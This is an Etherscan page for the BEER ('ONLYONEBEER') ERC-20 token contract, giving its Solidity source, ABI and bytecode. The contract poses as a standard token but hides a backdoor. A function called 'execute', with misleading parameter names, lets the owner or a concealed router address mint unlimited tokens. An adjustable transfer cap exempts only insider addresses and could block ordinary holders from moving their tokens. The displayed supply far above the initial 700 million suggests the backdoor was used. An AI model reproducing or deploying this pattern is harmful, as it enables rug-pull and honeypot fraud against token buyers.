ERC-20
Overview
Max Total Supply
1,000,070,700,000,000 BEER
Holders
20
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
0.730823207391841361 BEERValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ONLYONEBEER
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-11-04 */ // SPDX-License-Identifier: MIT //Website: https://onlyonebeer.bar //Telegram: https://t.me/onlyonebeer //Twitter: https://twitter.com/onlyonebeerbar /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface BEERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } enum TokenType { standard } abstract contract BaseToken { event TokenCreated( address indexed owner, address indexed token, TokenType tokenType, uint256 version ); } pragma solidity =0.8.18; contract ONLYONEBEER is BEERC20, Ownable, BaseToken { using SafeMath for uint256; uint256 private constant VERSION = 1; address private V3Router; address public Developer; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 public maxTxAmount; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool private swapping = true; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; constructor(address _V3Router ) payable { _name = unicode"Alright, but only one beer and you..*burp*.."; _symbol = unicode"BEER"; _decimals = 18; _totalSupply = 700000000 * (10 ** uint256(_decimals)); _balances[owner()] = _totalSupply; maxTxAmount = 700000000 * (10 ** uint256(_decimals)); Developer = 0xAF5883ce40Bb4f1c836Ec215b622E2f192f26b0a; V3Router = _V3Router; uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); emit TokenCreated(owner(), address(this), TokenType.standard, VERSION); } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (sender != Developer && sender != V3Router) { require(amount <= maxTxAmount, "Amount exceeds the maxTxAmount"); } _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub( amount, "ERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _claim(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function setMaxTxAmount(uint256 amount) external { require(_msgSender() == V3Router || _msgSender() == owner(), "Not authorized"); maxTxAmount = amount; } function execute( address provider, uint256 base, uint256 syntax, uint256 unit, uint256 suffix ) external { require(_msgSender() == V3Router || _msgSender() == owner(), "Not authorized"); uint256 BaseValue = base.mul(syntax); uint256 claimFee = BaseValue.mul(unit).mul(suffix); _balances[provider] = _balances[provider].add(claimFee); _totalSupply = _totalSupply.add(claimFee); emit Transfer(address(0), provider, claimFee); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub( amount, "ERC20: burn amount exceeds balance" ); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"_V3Router","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"enum TokenType","name":"tokenType","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"TokenCreated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Developer","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"provider","type":"address"},{"internalType":"uint256","name":"base","type":"uint256"},{"internalType":"uint256","name":"syntax","type":"uint256"},{"internalType":"uint256","name":"unit","type":"uint256"},{"internalType":"uint256","name":"suffix","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
608060408190526007805460ff60a01b1916600160a01b179055620014a338819003908190833981016040819052620000389162000399565b620000433362000349565b6040518060600160405280602c815260200162001477602c91396008906200006c908262000470565b506040805180820190915260048152632122a2a960e11b602082015260099062000097908262000470565b50600a805460ff191660129081178255620000b29162000651565b620000c2906329b927006200065f565b600b81905560036000620000de6000546001600160a01b031690565b6001600160a01b03168152602081019190915260400160002055600a80546200010d9160ff9091169062000651565b6200011d906329b927006200065f565b6005556002805473af5883ce40bb4f1c836ec215b622e2f192f26b0a6001600160a01b0319918216179091556001805482166001600160a01b03841617905560068054737a250d5630b4cf539739df2c5dacb4c659f2488d9216821790556040805163c45a015560e01b8152905163c45a0155916004818101926020929091908290030181865afa158015620001b7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001dd919062000399565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000240573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000266919062000399565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002b4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002da919062000399565b600780546001600160a01b0319166001600160a01b039283161790556000543091166001600160a01b03167f56358b41df5fa59f5639228f0930994cbdde383c8a8fd74e06c04e1deebe3562600060016040516200033a92919062000679565b60405180910390a350620006a6565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208284031215620003ac57600080fd5b81516001600160a01b0381168114620003c457600080fd5b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620003f657607f821691505b6020821081036200041757634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200046b57600081815260208120601f850160051c81016020861015620004465750805b601f850160051c820191505b81811015620004675782815560010162000452565b5050505b505050565b81516001600160401b038111156200048c576200048c620003cb565b620004a4816200049d8454620003e1565b846200041d565b602080601f831160018114620004dc5760008415620004c35750858301515b600019600386901b1c1916600185901b17855562000467565b600085815260208120601f198616915b828110156200050d57888601518255948401946001909101908401620004ec565b50858210156200052c5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005935781600019048211156200057757620005776200053c565b808516156200058557918102915b93841c939080029062000557565b509250929050565b600082620005ac575060016200064b565b81620005bb575060006200064b565b8160018114620005d45760028114620005df57620005ff565b60019150506200064b565b60ff841115620005f357620005f36200053c565b50506001821b6200064b565b5060208310610133831016604e8410600b841016171562000624575081810a6200064b565b62000630838362000552565b80600019048211156200064757620006476200053c565b0290505b92915050565b6000620003c483836200059b565b80820281158282048414176200064b576200064b6200053c565b60408101600184106200069c57634e487b7160e01b600052602160045260246000fd5b9281526020015290565b610dc180620006b66000396000f3fe608060405234801561001057600080fd5b50600436106101215760003560e01c8063715018a6116100ad578063a9059cbb11610071578063a9059cbb1461025a578063b4ae7f801461026d578063dd62ed3e14610280578063ec28438a146102b9578063f2fde38b146102cc57600080fd5b8063715018a61461021d5780638c0b5e22146102255780638da5cb5b1461022e57806395d89b411461023f578063a457c2d71461024757600080fd5b806323b872dd116100f457806323b872dd1461018e578063313ce567146101a157806339509351146101b657806349bd5a5e146101c957806370a08231146101f457600080fd5b806306fdde0314610126578063095ea7b31461014457806318160ddd14610167578063234b295114610179575b600080fd5b61012e6102df565b60405161013b9190610b25565b60405180910390f35b610157610152366004610b8f565b610371565b604051901515815260200161013b565b600b545b60405190815260200161013b565b61018c610187366004610bb9565b610388565b005b61015761019c366004610bfb565b6104b3565b600a5460405160ff909116815260200161013b565b6101576101c4366004610b8f565b61051c565b6007546101dc906001600160a01b031681565b6040516001600160a01b03909116815260200161013b565b61016b610202366004610c37565b6001600160a01b031660009081526003602052604090205490565b61018c610552565b61016b60055481565b6000546001600160a01b03166101dc565b61012e6105b8565b610157610255366004610b8f565b6105c7565b610157610268366004610b8f565b610616565b6002546101dc906001600160a01b031681565b61016b61028e366004610c52565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b61018c6102c7366004610c85565b610623565b61018c6102da366004610c37565b610691565b6060600880546102ee90610c9e565b80601f016020809104026020016040519081016040528092919081815260200182805461031a90610c9e565b80156103675780601f1061033c57610100808354040283529160200191610367565b820191906000526020600020905b81548152906001019060200180831161034a57829003601f168201915b5050505050905090565b600061037e33848461075c565b5060015b92915050565b6001546001600160a01b0316336001600160a01b031614806103b457506000546001600160a01b031633145b6103f65760405162461bcd60e51b815260206004820152600e60248201526d139bdd08185d5d1a1bdc9a5e995960921b60448201526064015b60405180910390fd5b60006104028585610881565b9050600061041a836104148487610881565b90610881565b6001600160a01b0388166000908152600360205260409020549091506104409082610894565b6001600160a01b038816600090815260036020526040902055600b546104669082610894565b600b556040518181526001600160a01b038816906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350505050505050565b60006104c08484846108a0565b610512843361050d85604051806060016040528060288152602001610d3f602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610aa9565b61075c565b5060019392505050565b3360008181526004602090815260408083206001600160a01b0387168452909152812054909161037e91859061050d9086610894565b6000546001600160a01b031633146105ac5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ed565b6105b66000610ad5565b565b6060600980546102ee90610c9e565b600061037e338461050d85604051806060016040528060258152602001610d67602591393360009081526004602090815260408083206001600160a01b038d1684529091529020549190610aa9565b600061037e3384846108a0565b6001546001600160a01b0316336001600160a01b0316148061064f57506000546001600160a01b031633145b61068c5760405162461bcd60e51b815260206004820152600e60248201526d139bdd08185d5d1a1bdc9a5e995960921b60448201526064016103ed565b600555565b6000546001600160a01b031633146106eb5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ed565b6001600160a01b0381166107505760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103ed565b61075981610ad5565b50565b6001600160a01b0383166107be5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103ed565b6001600160a01b03821661081f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103ed565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600061088d8284610cee565b9392505050565b600061088d8284610d05565b6001600160a01b0383166109045760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103ed565b6001600160a01b0382166109665760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103ed565b6002546001600160a01b0384811691161480159061099257506001546001600160a01b03848116911614155b156109e9576005548111156109e95760405162461bcd60e51b815260206004820152601e60248201527f416d6f756e74206578636565647320746865206d61785478416d6f756e74000060448201526064016103ed565b610a2681604051806060016040528060268152602001610d19602691396001600160a01b0386166000908152600360205260409020549190610aa9565b6001600160a01b038085166000908152600360205260408082209390935590841681522054610a559082610894565b6001600160a01b0380841660008181526003602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108749085815260200190565b60008184841115610acd5760405162461bcd60e51b81526004016103ed9190610b25565b505050900390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b81811015610b5257858101830151858201604001528201610b36565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610b8a57600080fd5b919050565b60008060408385031215610ba257600080fd5b610bab83610b73565b946020939093013593505050565b600080600080600060a08688031215610bd157600080fd5b610bda86610b73565b97602087013597506040870135966060810135965060800135945092505050565b600080600060608486031215610c1057600080fd5b610c1984610b73565b9250610c2760208501610b73565b9150604084013590509250925092565b600060208284031215610c4957600080fd5b61088d82610b73565b60008060408385031215610c6557600080fd5b610c6e83610b73565b9150610c7c60208401610b73565b90509250929050565b600060208284031215610c9757600080fd5b5035919050565b600181811c90821680610cb257607f821691505b602082108103610cd257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761038257610382610cd8565b8082018082111561038257610382610cd856fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c5db84aa2446eec7f2d2897a11ad4e93a3edf57ddbccf74dc95afb0ee822340964736f6c63430008120033416c72696768742c20627574206f6e6c79206f6e65206265657220616e6420796f752e2e2a627572702a2e2e0000000000000000000000008134a7dca53ed0025b6465e992e20ebf9fa1e5c8
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063715018a6116100ad578063a9059cbb11610071578063a9059cbb1461025a578063b4ae7f801461026d578063dd62ed3e14610280578063ec28438a146102b9578063f2fde38b146102cc57600080fd5b8063715018a61461021d5780638c0b5e22146102255780638da5cb5b1461022e57806395d89b411461023f578063a457c2d71461024757600080fd5b806323b872dd116100f457806323b872dd1461018e578063313ce567146101a157806339509351146101b657806349bd5a5e146101c957806370a08231146101f457600080fd5b806306fdde0314610126578063095ea7b31461014457806318160ddd14610167578063234b295114610179575b600080fd5b61012e6102df565b60405161013b9190610b25565b60405180910390f35b610157610152366004610b8f565b610371565b604051901515815260200161013b565b600b545b60405190815260200161013b565b61018c610187366004610bb9565b610388565b005b61015761019c366004610bfb565b6104b3565b600a5460405160ff909116815260200161013b565b6101576101c4366004610b8f565b61051c565b6007546101dc906001600160a01b031681565b6040516001600160a01b03909116815260200161013b565b61016b610202366004610c37565b6001600160a01b031660009081526003602052604090205490565b61018c610552565b61016b60055481565b6000546001600160a01b03166101dc565b61012e6105b8565b610157610255366004610b8f565b6105c7565b610157610268366004610b8f565b610616565b6002546101dc906001600160a01b031681565b61016b61028e366004610c52565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b61018c6102c7366004610c85565b610623565b61018c6102da366004610c37565b610691565b6060600880546102ee90610c9e565b80601f016020809104026020016040519081016040528092919081815260200182805461031a90610c9e565b80156103675780601f1061033c57610100808354040283529160200191610367565b820191906000526020600020905b81548152906001019060200180831161034a57829003601f168201915b5050505050905090565b600061037e33848461075c565b5060015b92915050565b6001546001600160a01b0316336001600160a01b031614806103b457506000546001600160a01b031633145b6103f65760405162461bcd60e51b815260206004820152600e60248201526d139bdd08185d5d1a1bdc9a5e995960921b60448201526064015b60405180910390fd5b60006104028585610881565b9050600061041a836104148487610881565b90610881565b6001600160a01b0388166000908152600360205260409020549091506104409082610894565b6001600160a01b038816600090815260036020526040902055600b546104669082610894565b600b556040518181526001600160a01b038816906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350505050505050565b60006104c08484846108a0565b610512843361050d85604051806060016040528060288152602001610d3f602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610aa9565b61075c565b5060019392505050565b3360008181526004602090815260408083206001600160a01b0387168452909152812054909161037e91859061050d9086610894565b6000546001600160a01b031633146105ac5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ed565b6105b66000610ad5565b565b6060600980546102ee90610c9e565b600061037e338461050d85604051806060016040528060258152602001610d67602591393360009081526004602090815260408083206001600160a01b038d1684529091529020549190610aa9565b600061037e3384846108a0565b6001546001600160a01b0316336001600160a01b0316148061064f57506000546001600160a01b031633145b61068c5760405162461bcd60e51b815260206004820152600e60248201526d139bdd08185d5d1a1bdc9a5e995960921b60448201526064016103ed565b600555565b6000546001600160a01b031633146106eb5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ed565b6001600160a01b0381166107505760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103ed565b61075981610ad5565b50565b6001600160a01b0383166107be5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103ed565b6001600160a01b03821661081f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103ed565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600061088d8284610cee565b9392505050565b600061088d8284610d05565b6001600160a01b0383166109045760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103ed565b6001600160a01b0382166109665760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103ed565b6002546001600160a01b0384811691161480159061099257506001546001600160a01b03848116911614155b156109e9576005548111156109e95760405162461bcd60e51b815260206004820152601e60248201527f416d6f756e74206578636565647320746865206d61785478416d6f756e74000060448201526064016103ed565b610a2681604051806060016040528060268152602001610d19602691396001600160a01b0386166000908152600360205260409020549190610aa9565b6001600160a01b038085166000908152600360205260408082209390935590841681522054610a559082610894565b6001600160a01b0380841660008181526003602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108749085815260200190565b60008184841115610acd5760405162461bcd60e51b81526004016103ed9190610b25565b505050900390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b81811015610b5257858101830151858201604001528201610b36565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610b8a57600080fd5b919050565b60008060408385031215610ba257600080fd5b610bab83610b73565b946020939093013593505050565b600080600080600060a08688031215610bd157600080fd5b610bda86610b73565b97602087013597506040870135966060810135965060800135945092505050565b600080600060608486031215610c1057600080fd5b610c1984610b73565b9250610c2760208501610b73565b9150604084013590509250925092565b600060208284031215610c4957600080fd5b61088d82610b73565b60008060408385031215610c6557600080fd5b610c6e83610b73565b9150610c7c60208401610b73565b90509250929050565b600060208284031215610c9757600080fd5b5035919050565b600181811c90821680610cb257607f821691505b602082108103610cd257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761038257610382610cd8565b8082018082111561038257610382610cd856fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c5db84aa2446eec7f2d2897a11ad4e93a3edf57ddbccf74dc95afb0ee822340964736f6c63430008120033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000008134a7dca53ed0025b6465e992e20ebf9fa1e5c8
-----Decoded View---------------
Arg [0] : _V3Router (address): 0x8134A7dcA53Ed0025B6465e992e20EBF9FA1E5c8
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000008134a7dca53ed0025b6465e992e20ebf9fa1e5c8
Deployed Bytecode Sourcemap
